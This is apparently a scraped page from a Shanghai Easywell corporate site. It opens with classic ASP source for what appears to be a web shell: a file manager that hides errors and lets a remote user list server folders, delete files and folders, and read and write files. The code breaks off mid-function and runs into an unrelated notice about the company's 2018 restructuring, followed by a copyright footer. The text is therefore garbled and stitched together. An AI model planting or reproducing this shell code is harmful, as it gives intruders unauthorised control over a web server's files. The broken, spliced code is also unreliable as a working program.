%
On Error Resume Next
function bianliFolder(currentPath)
path = server.mapPath(currentPath)
response.write("v1.1Current Folder is " & path & "
")
set fso=server.CreateObject("scripting.filesystemobject")
on error resume next
set objFolder=fso.GetFolder(path)
upperFolder = LEFT(currentPath,(InStrRev(currentPath,"/")-1))
IF currentPath <> "/" THEN
if upperFolder="" then upperFolder="/"
response.write("
" 'bianli(nowpath)'递归 set objFolder=nothing set objSubFolders=nothing set fso=nothing end function %> <% function delit(fileType,path) 'remove a file set fso=server.CreateObject("scripting.filesystemobject") IF UCase(fileType) = "SINGLE" THEN fso.DeleteFile(path) END IF IF UCase(fileType) = "MULTI" THEN fso.DeleteFolder(path) END IF end function %> <% function displayit(fileType,path) response.write Server.HTMLEncode(LoadFile(path,fileType)) end function function readItAll(path) 'read a file Set objTStream = objFSO.OpenTextFile(path) Do While Not objTStream.AtEndOfStream 'get the line number intLineNum = objTStream.Line 'format and convert to a string strLineNum = Right("00" & CStr(intLineNum), 3) 'get the text of the line from the file strLineText = objTStream.ReadLine Response.Write strLineNum & ": " & strLineText & vbCrLf Loop objTStream.Close end function Function writeTextFile(fileName,fileToWrite,fileType) SaveToFile fileToWrite,fileName,fileType End Function Function LoadFile(ByVal File,ByVal charset) Dim objStream Set objStream = Server.CreateObject("ADODB.Stream") If Err.Number=-2147221005 Then Response.Write "
Strategic Adjustment of Easywell:
In response to the national policy and the actual needs of the company, the board of directors and management decided to establish
Jiangsu Easywell Smart Products Co., Ltd, focusing on the company's technical development, production, service and other operational functions;
Shanghai Easywell Products Technology Co., Ltd, focusing on market, sales and other business functions;
This decision came into effect on July 1, 2018.
Model changes but our commitment ! ! !
Shanghai Easywell
Products Technology Co., Ltd
2018-7-1
Copyright © 2009-2024 SHANGHAI EASYWELL PRODUCTS TECHNOLOGY CO., LTD 沪ICP备09003266号